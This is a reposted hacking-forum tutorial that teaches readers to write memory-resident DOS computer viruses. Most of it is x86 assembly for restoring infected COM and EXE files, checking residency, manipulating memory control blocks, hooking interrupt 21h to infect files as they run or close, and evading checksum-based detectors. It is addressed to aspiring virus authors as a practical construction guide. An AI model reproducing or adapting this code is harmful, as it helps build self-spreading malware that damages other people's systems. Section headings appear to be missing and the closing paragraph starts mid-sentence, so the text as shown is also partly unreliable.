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Dark Angels Chunky Virus Writing Guide

Dark Angel's Chunky Virus Writing Guide

DrWatson's profile picture
Published in 
Hacking Tutorials
 · 17 Jan 2019

After reading the the Clumpy Guide, you should have at least some idea of how to code a resident virus. However, the somewhat vague descriptions I gave may have left you in a befuddled state. Hopefully, this installment will clear the air.

In case you missed it the last time, here is a quick, general overview of the structure of the resident virus. The virus consists of two major portions, the loading stub and the interrupt handlers. The loading stub performs two functions. First, it redirects interrupts to the virus code. Second, it causes the virus to go resident. The interrupt handlers contain the code which cause file infection. Generally, the handlers trap interrupt 21h and intercept such calls as file execution.

The loading stub consists of two major portions, the residency routine and the restoration routine. The latter portion, which handles the return of control to the original file, is identical as the one in the nonresident virus. I will briefly touch upon it here.

By now you should understand thoroughly the theory behind COM file infection. By simply replacing the first few bytes, transfer can be controlled to the virus. The trick in restoring COM files is simply to restore the overwritten bytes at the beginning of the file. This restoration takes place only in memory and is therefore far from permanent. Since COM files always load in a single memory segment and begin loading at offset 100h in the memory segment (to make room for the PSP), the restoration procedure is very simple. For example, if the first three bytes of a COM file were stored in a buffer called "first3" before being overwritten by the virus, then the following code would restore the code in memory:

mov di,100h ; Absolute location of destination
lea si,[bp+first3] ; Load address of saved bytes.
; Assume bp = "delta offset"
movsw ; Assume CS = DS = ES and a cleared direction flag
movsb ; Move three bytes

The problem of returning control to the program still remains. This simply consists of forcing the program to transfer control to offset 100h. The easiest routine follows:

mov di,100h
jmp di

There are numerous variations of this routine, but they all accomplish the basic task of setting the ip to 100h.

You should also understand the concept behind EXE infection by now. EXE infection, at its most basic level, consists of changing certain bytes in the EXE header. The trick is simply to undo all the changes which the virus made. The code follows:

mov ax, es ; ES = segment of PSP
add ax, 10h ; Loading starts after PSP
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP]
OrigCSIP dd ? ; Put values from the header
OrigSSSP dd ? ; into here

If the virus is an EXE-specific infector but you still wish to use a COM file as the carrier file, then simply set the OrigCSIP value to FFF0:0000. This will be changed by the restoration routine to PSP:0000 which is, conveniently, an int 20h instruction.

All that stuff should not be new. Now we shall tread on new territory. There are two methods of residency. The first is the weenie method which simply consists of using DOS interrupts to do the job for you. This method sucks because it is 1) easily trappable by even the most primitive of resident virus monitors and 2) forces the program to terminate execution, thereby alerting the user to the presence of the virus. I will not even present code for the weenie method because, as the name suggests, it is only for weenies. Real programmers write their own residency routines. This basically consists of MCB-manipulation. The general method is:

1. Check for prior installation. If already installed, exit the virus.
2. Find the top of memory.
3. Allocate the high memory.
4. Copy the virus to high memory.
5. Swap the interrupt vectors.

There are several variations on this technique and they will be discussed as the need arises.

There are several different types of installation check. The most common is a call to int 21h with AX set to a certain value. If certain registers are returned set to certain values, then the virus is resident. For example, a sample residency check would be:

mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed

When choosing a value for ax in the installation check, make sure it does not conflict with an existing function unless the function is harmless. For example, do not use display string (ah=9) unless you wish to have unpredictable results when the virus is first being installed. An example of a harmless function is get DOS version (ah=30h) or flush keyboard buffer (ah=0bh). Of course, if the check conflicts with a current function, make sure it is narrow enough so no programs will have a problem with it. For example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and bx=3030h.

Another method of checking for residency is to search for certain characteristics of the virus. For example, if the virus always sets an unused interrupt vector to point to its code, a possible residency check would be to search the vector for the virus characteristics. For example:

xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
jmp far ptr cs:origint21

When using this method, take care to ensure that there is no possibility of this characteristic being false when the virus is resident. In this case, another program must not trap the int 60h vector or else the check may fail even if the virus is already resident, thereby causing unpredictable results.

DOS generally loads all available memory to a program upon loading. Armed with this knowledge, the virus can easily determine the available memory size. Once again, the MCB structure is:

Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.

mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)

A simpler method of performing the same action is to use DOS's reallocate memory function in the following manner:

mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]

The easiest method to allocate memory is to let DOS do the work for you.

mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h

mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment

dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB

The purpose of marking DOS as the owner of the MCB is to prevent the deallocation of the memory area upon termination of the carrier program.

Of course, some may prefer direct manipulation of the MCBs. This is easily accomplished. If ds is equal to the segment of the carrier program's MCB, then the following code will do the trick:

; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1

; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'

; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]

; Step 5) Build the MCB
mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

There is yet another method involving direct manipulation.

; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64

; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'

; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]

; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

This method is great because it is simple and short. No MCB needs to be created because DOS will no longer allocate memory held by the virus. The modification of the field in the BIOS memory area guarantees this.

This is ridiculously easy to do. If ES holds the high memory segment, DS holds CS, and BP holds the delta offset, then the following code will do:

lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed

There are, once again, two ways to do this; via DOS or directly. Almost every programmer worth his salt has played with interrupt vectors at one time or another. Via DOS:

push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr ds:oldint21,bx ; save it
mov word ptr ds:oldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h

And direct manipulation:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es

Delta offset calculations are not needed since the location of the variables is known. This is because the virus is always loaded into high memory starting in offset 0.

The interrupt handler intercepts function calls to DOS and waylays them. The interrupt handler typically begins with a check for a call to the installation check. For example:

cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
; rest of interrupt handler goes here

With this out of the way, the virus can trap whichever DOS functions it wishes. Generally the most effective function to trap is execute (ax=4b00h), as the most commonly executed files will be infected. Another function to trap, albeit requiring more work, is handle close. This will infect on copies, viewings, patchings, etc. With some functions, prechaining is desired; others, postchaining. Use common sense. If the function destroys the filename pointer, then use prechaining. If the function needs to be completed before infection can take place, postchaining should be used. Prechaining is simple:

pushf ; simulate an int 21h call
call dword ptr cs:oldint21

; The following code ensures that the flags will be properly set upon
; return to the caller
push bp
push ax

; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]

mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax; replace the old with the new

pop ax ; restore stack
pop bp

To exit the interrupt handler after prechaining, use an iret statement rather than a retn or retf. Postchaining is even simpler:

jmp dword ptr cs:oldint21 ; this never returns to the virus int handler

When leaving the interrupt handler, make sure that the stack is not unbalanced and that the registers were not altered. Save the registers right after prechaining and long before postchaining.

Infection in a resident virus is essentially the same as that in a nonresident virus. The only difference occurs when the interrupt handler traps one of the functions used in the infection routine. For example, if handle close is trapped, then the infection routine must replace the handle close int 21h call with a call to the original interrupt 21h handler, a la:

call dword ptr cs:oldint21

It is also necessary to handle encryption in another manner with a resident virus. In the nonresident virus, it was not necessary to preserve the code at all times. However, it is desirable to keep the interrupt handler(s) decrypted, even when infecting. Therefore, the virus should keep two copies of itself in memory, one as code and one as data. The encryptor should encrypt the secondary copy of the virus, thereby leaving the interrupt handler(s) alone. This is especially important if the virus traps other interrupts such as int 9h or int 13h.

Resident viruses can typically be divided into two categories; slow and fast infectors. They each have their own advantages and disadvantages.

Slow infectors do not infect except in the case of a file creation. This infector traps file creates and infects upon the closing of the file. This type of virus infects on new file creations and copying of files. The disadvantage is that the virus spreads slowly. This disadvantage is also an advantage, as this may keep it undetected for a long time. Although slow infectors sound ineffective, in reality they can work well. Infection on file creations means that checksum/CRC virus detectors won't be able to checksum/CRC the file until after it has been infected. Additionally, files are often copied from one directory to another after testing. So this method can work.

Fast infectors infect on executes. This type of virus will immediately attack commonly used files, ensuring the continual residency of the virus in subsequent boots. This is the primary advantage, but it is also the primary disadvantage. The infector works so rapidly that the user may quickly detect a discrepancy with the system, especially if the virus does not utilise any stealth techniques.

Of course, there is no "better" way. It is a matter of personal preference. The vast majority of viruses today are fast infectors, although slow infectors are beginning to appear with greater frequency.

If the virus is to infect on a create or open, it first must copy the filename to a buffer, execute the call, and save the handle. The virus must then wait for a handle close corresponding to that handle and infect using the filename stored in the buffer. This is the simplest method of infecting after a handle close without delving into DOS internals.

don't despair; it will come after some time and much practise. You will soon find that resident viruses are easier to code than nonresident viruses. That's all for this installment, but be sure to grab the next one.

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